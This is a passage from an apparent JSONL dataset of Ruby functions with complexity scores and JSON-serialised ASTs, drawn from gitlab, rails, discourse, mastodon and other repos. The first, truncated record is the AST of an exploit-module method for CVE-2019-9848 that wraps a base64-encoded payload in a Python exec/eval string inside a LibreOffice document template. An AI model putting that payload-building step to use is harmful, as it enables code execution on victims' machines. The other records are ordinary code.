end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"gen_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"html_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEXT_CONTENT\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"py_code\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exec(eval(str(__import__('base64').b64decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"py_code\"]}]},{\"type\":\"str\",\"children\":[\"'))))\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"html_encode\",{\"type\":\"ivar\",\"children\":[\"@cmd\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fodt_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2019-9848\"]},{\"type\":\"str\",\"children\":[\"librefile.erb\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"libre_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"fodt_file\"]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.\"]}]},{\"type\":\"lvar\",\"children\":[\"libre_file\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Cannot find template file\"]}]}]},null]}]}","id":"1d440640-ab85-4971-8457-09ca6aea405b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_object_storage.rb","start_line":169,"raw_source":"def stub_object_storage_multipart_init_with_final_store_path(full_path, upload_id = \"upload_id\")\n    stub_request(:post, %r{\\A#{full_path}\\?uploads\\z})\n      .to_return status: 200, body: <<-EOS.strip_heredoc\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <InitiateMultipartUploadResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n          <Bucket>example-bucket</Bucket>\n          <Key>example-object</Key>\n          <UploadId>#{upload_id}</UploadId>\n        </InitiateMultipartUploadResult>\n      EOS\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_object_storage_multipart_init_with_final_store_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]},{\"type\":\"optarg\",\"children\":[\"upload_id\",{\"type\":\"str\",\"children\":[\"upload_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\?uploads\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"        <InitiateMultipartUploadResult xmlns=\\\"http://s3.amazonaws.com/doc/2006-03-01/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"          <Bucket>example-bucket</Bucket>\\n\"]},{\"type\":\"str\",\"children\":[\"          <Key>example-object</Key>\\n\"]},{\"type\":\"str\",\"children\":[\"          <UploadId>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_id\"]}]},{\"type\":\"str\",\"children\":[\"</UploadId>\\n\"]},{\"type\":\"str\",\"children\":[\"        </InitiateMultipartUploadResult>\\n\"]}]},\"strip_heredoc\"]}]}]}]}]}","id":"e557bb53-ea2f-4714-8413-519d42d497f5"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/expiry_hook_test.rb","start_line":49,"raw_source":"def recursive_cached_association\n      @recursive_association ||= Cached::Recursive::HasMany.new(\n        :deeply_associated_records,\n        reflection: reflect(AssociatedRecord, :deeply_associated_records),\n      )\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"recursive_cached_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@recursive_association\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cached\"]},\"Recursive\"]},\"HasMany\"]},\"new\",{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reflection\"]},{\"type\":\"send\",\"children\":[null,\"reflect\",{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]}]}]}]}]}]}]}","id":"af3ef734-11b6-4324-9687-43fc849c4439"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1324,"raw_source":"def test_reset_csrf_token_deletes_cookie\n    get :cookie\n    get :reset\n    assert_nil cookies[:csrf_token]\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reset_csrf_token_deletes_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"cookie\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"reset\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"csrf_token\"]}]}]}]}]}","id":"89ecf1a7-f6ff-47cd-8546-b5065143efbd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/anthropic.rb","start_line":94,"raw_source":"def prepare_payload(prompt, model_params, dialect)\n          @native_tool_support = dialect.native_tool_support?\n\n          payload =\n            default_options(dialect).merge(model_params.except(:response_format)).merge(\n              messages: prompt.messages,\n            )\n          payload[:system] = prompt.system_prompt if prompt.system_prompt.present?\n          payload[:stream] = true if @streaming_mode\n\n          prefilled_message = +\"\"\n\n          if prompt.has_tools?\n            payload[:tools] = prompt.tools\n            if dialect.tool_choice.present?\n              if dialect.tool_choice == :none\n                payload[:tool_choice] = { type: \"none\" }\n\n                # prefill prompt to nudge LLM to generate a response that is useful.\n                # without this LLM (even 3.7) can get confused and start text preambles for a tool calls.\n                prefilled_message << dialect.no_more_tool_calls_text\n              else\n                payload[:tool_choice] = { type: \"tool\", name: prompt.tool_choice }\n              end\n            end\n          end\n\n          # Prefill prompt to force JSON output.\n          if model_params[:response_format].present?\n            prefilled_message << \" \" if !prefilled_message.empty?\n            prefilled_message << \"{\"\n            @forced_json_through_prefill = true\n          end\n\n          if !prefilled_message.empty?\n            payload[:messages] << { role: \"assistant\", content: prefilled_message }\n          end\n\n          payload\n        end","complexity_score":54.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]},{\"type\":\"arg\",\"children\":[\"model_params\"]},{\"type\":\"arg\",\"children\":[\"dialect\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@native_tool_support\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialect\"]},\"native_tool_support?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_options\",{\"type\":\"lvar\",\"children\":[\"dialect\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"response_format\"]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"messages\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"system_prompt\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"system_prompt\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@streaming_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"stream\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"prefilled_message\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"has_tools?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tools\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"tools\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialect\"]},\"tool_choice\"]},\"present?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialect\"]},\"tool_choice\"]},\"==\",{\"type\":\"sym\",\"children\":[\"none\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tool_choice\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"none\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefilled_message\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialect\"]},\"no_more_tool_calls_text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tool_choice\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"tool\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"tool_choice\"]}]}]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"response_format\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefilled_message\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefilled_message\"]},\"<<\",{\"type\":\"str\",\"children\":[\" \"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefilled_message\"]},\"<<\",{\"type\":\"str\",\"children\":[\"{\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@forced_json_through_prefill\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefilled_message\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"messages\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"assistant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"prefilled_message\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}","id":"08c7e049-18f1-4813-8874-fb5cc8e08a68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/lib/gitlab/http_v2/configuration.rb","start_line":8,"raw_source":"def log_exception(...)\n        log_exception_proc&.call(...)\n      end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"log_exception\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_exception_proc\"]},\"call\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"38e2bdf9-c014-47af-a8e0-ce9bebb79e01"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_option.rb","start_line":75,"raw_source":"def set_defaults\n    self.mailing_list_mode = SiteSetting.default_email_mailing_list_mode\n    self.mailing_list_mode_frequency = SiteSetting.default_email_mailing_list_mode_frequency\n    self.email_level = SiteSetting.default_email_level\n    self.email_messages_level = SiteSetting.default_email_messages_level\n    self.automatically_unpin_topics = SiteSetting.default_topics_automatic_unpin\n    self.email_previous_replies = SiteSetting.default_email_previous_replies\n    self.email_in_reply_to = SiteSetting.default_email_in_reply_to\n\n    self.enable_quoting = SiteSetting.default_other_enable_quoting\n    self.enable_smart_lists = SiteSetting.default_other_enable_smart_lists\n    self.enable_defer = SiteSetting.default_other_enable_defer\n    self.enable_markdown_monospace_font = SiteSetting.default_other_enable_markdown_monospace_font\n    self.external_links_in_new_tab = SiteSetting.default_other_external_links_in_new_tab\n    self.dynamic_favicon = SiteSetting.default_other_dynamic_favicon\n    self.skip_new_user_tips = SiteSetting.default_other_skip_new_user_tips\n\n    self.new_topic_duration_minutes = SiteSetting.default_other_new_topic_duration_minutes\n    self.auto_track_topics_after_msecs = SiteSetting.default_other_auto_track_topics_after_msecs\n    self.notification_level_when_replying =\n      SiteSetting.default_other_notification_level_when_replying\n\n    self.like_notification_frequency = SiteSetting.default_other_like_notification_frequency\n\n    self.email_digests = SiteSetting.default_email_digest_frequency.to_i > 0\n    self.digest_after_minutes = SiteSetting.default_email_digest_frequency.to_i\n    self.include_tl0_in_digests = SiteSetting.default_include_tl0_in_digests\n\n    self.text_size = SiteSetting.default_text_size\n\n    self.title_count_mode = SiteSetting.default_title_count_mode\n\n    self.hide_profile = SiteSetting.default_hide_profile\n    self.hide_presence = SiteSetting.default_hide_presence\n    self.sidebar_link_to_filtered_list = SiteSetting.default_sidebar_link_to_filtered_list\n    self.sidebar_show_count_of_new_items = SiteSetting.default_sidebar_show_count_of_new_items\n    self.composition_mode = SiteSetting.default_composition_mode\n\n    true\n  end","complexity_score":59.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_defaults\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mailing_list_mode=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_mailing_list_mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mailing_list_mode_frequency=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_mailing_list_mode_frequency\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_level=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_messages_level=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_messages_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"automatically_unpin_topics=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_topics_automatic_unpin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_previous_replies=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_previous_replies\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_in_reply_to=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_in_reply_to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enable_quoting=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_enable_quoting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enable_smart_lists=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_enable_smart_lists\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enable_defer=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_enable_defer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enable_markdown_monospace_font=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_enable_markdown_monospace_font\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"external_links_in_new_tab=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_external_links_in_new_tab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dynamic_favicon=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_dynamic_favicon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"skip_new_user_tips=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_skip_new_user_tips\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new_topic_duration_minutes=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_new_topic_duration_minutes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"auto_track_topics_after_msecs=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_auto_track_topics_after_msecs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"notification_level_when_replying=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_notification_level_when_replying\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"like_notification_frequency=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_like_notification_frequency\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_digests=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_digest_frequency\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"digest_after_minutes=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_email_digest_frequency\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"include_tl0_in_digests=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_include_tl0_in_digests\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"text_size=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_text_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"title_count_mode=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_title_count_mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hide_profile=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_hide_profile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hide_presence=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_hide_presence\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sidebar_link_to_filtered_list=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_sidebar_link_to_filtered_list\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sidebar_show_count_of_new_items=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_sidebar_show_count_of_new_items\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"composition_mode=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_composition_mode\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"5e90df17-9251-4076-a2a5-fe13c924b32e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/domain_blocks_controller.rb","start_line":131,"raw_source":"def requires_confirmation?\n      @domain_block.valid? && (@domain_block.new_record? || @domain_block.severity_changed?) && @domain_block.suspend? && !params[:confirm]\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"requires_confirmation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@domain_block\"]},\"valid?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@domain_block\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@domain_block\"]},\"severity_changed?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@domain_block\"]},\"suspend?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"confirm\"]}]},\"!\"]}]}]}","id":"03f3d315-521b-4e00-be30-a7a2b5cf8547"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/callbacks_test.rb","start_line":494,"raw_source":"def test_after_save_doesnt_allow_on_option\n    exception = assert_raises ArgumentError do\n      Class.new(ActiveRecord::Base) do\n        after_save(on: :create) { }\n      end\n    end\n    assert_equal \"Unknown key: :on. Valid keys are: :if, :unless, :prepend\", exception.message\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_save_doesnt_allow_on_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"after_save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Unknown key: :on. Valid keys are: :if, :unless, :prepend\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"a100fe9d-c0d1-4a9a-b58d-b9a646581e73"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vanilla_mysql.rb","start_line":570,"raw_source":"def create_permalinks\n    puts \"\", \"Creating redirects...\", \"\"\n\n    User.find_each do |u|\n      ucf = u.custom_fields\n      if ucf && ucf[\"import_id\"] && ucf[\"import_username\"]\n        encoded_username = CGI.escape(ucf[\"import_username\"]).gsub(\"+\", \"%20\")\n        begin\n          Permalink.create(\n            url: \"profile/#{ucf[\"import_id\"]}/#{encoded_username}\",\n            external_url: \"/users/#{u.username}\",\n          )\n        rescue StandardError\n          nil\n        end\n        print \".\"\n      end\n    end\n\n    Post.find_each do |post|\n      pcf = post.custom_fields\n      if pcf && pcf[\"import_id\"]\n        topic = post.topic\n        id = pcf[\"import_id\"].split(\"#\").last\n        if post.post_number == 1\n          slug = Slug.for(topic.title) # probably matches what vanilla would do...\n          begin\n            Permalink.create(url: \"discussion/#{id}/#{slug}\", topic_id: topic.id)\n          rescue StandardError\n            nil\n          end\n        else\n          begin\n            Permalink.create(url: \"discussion/comment/#{id}\", post_id: post.id)\n          rescue StandardError\n            nil\n          end\n        end\n        print \".\"\n      end\n    end\n  end","complexity_score":64.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_permalinks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Creating 